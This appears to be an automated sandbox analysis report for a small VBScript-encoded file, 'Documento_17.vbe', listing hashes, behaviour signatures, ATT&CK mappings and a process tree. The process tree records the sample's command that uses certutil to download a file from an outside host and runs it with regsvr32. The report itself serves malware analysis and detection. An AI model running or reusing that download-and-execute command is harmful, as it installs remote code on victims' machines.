d5001864f14cc431f1c19a4438e647ab1ddae1bb41e13ea1692b7790688aa723

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-en-20211208
submitted
10/02/2022, 10:34

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General

Target
Documento_17.vbe
Size 260B
Sample220210-ml4z9aggd4
SHA256 4b87771d315aba151defee69658d30f74777cf642f581fac2185b86b30aee164
MD5 69ad8b9b103576b314d172df027d9e1d
SHA1 de55e1f615f919e5e4f8db07a40a0909cd61d18b
SHA512 b787d3afe30e3a1d0a91644d262352ad46f3a618ef0c6fc27bde12e6c94332daf3cff061d1cf0ece91a8b3800fb156ca6f3e4841501cc74bc94f8462e2d86084
MD5 SHA1 SHA512

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1812	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 828 wrote to memory of 592	828	WScript.exe	27
PID 828 wrote to memory of 592	828	WScript.exe	27
PID 828 wrote to memory of 592	828	WScript.exe	27
PID 592 wrote to memory of 584	592	cmd.exe	29
PID 592 wrote to memory of 584	592	cmd.exe	29
PID 592 wrote to memory of 584	592	cmd.exe	29
PID 592 wrote to memory of 1812	592	cmd.exe	32
PID 592 wrote to memory of 1812	592	cmd.exe	32
PID 592 wrote to memory of 1812	592	cmd.exe	32
PID 592 wrote to memory of 1812	592	cmd.exe	32
PID 592 wrote to memory of 1812	592	cmd.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Documento_17.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f https://interlinx.top/image.txt C:\Users\Administrator\Downloads\image.txt && timeout 5 & regsvr32.exe /s C:\Users\Administrator\Downloads\image.txt
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:592
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f https://interlinx.top/image.txt C:\Users\Administrator\Downloads\image.txt
    3⤵
    PID:584
- - C:\Windows\system32\regsvr32.exe
    regsvr32.exe /s C:\Users\Administrator\Downloads\image.txt
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1812

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/584-56-0x00000000FFEC1000-0x00000000FFEC3000-memory.dmp

Download

memory/828-55-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp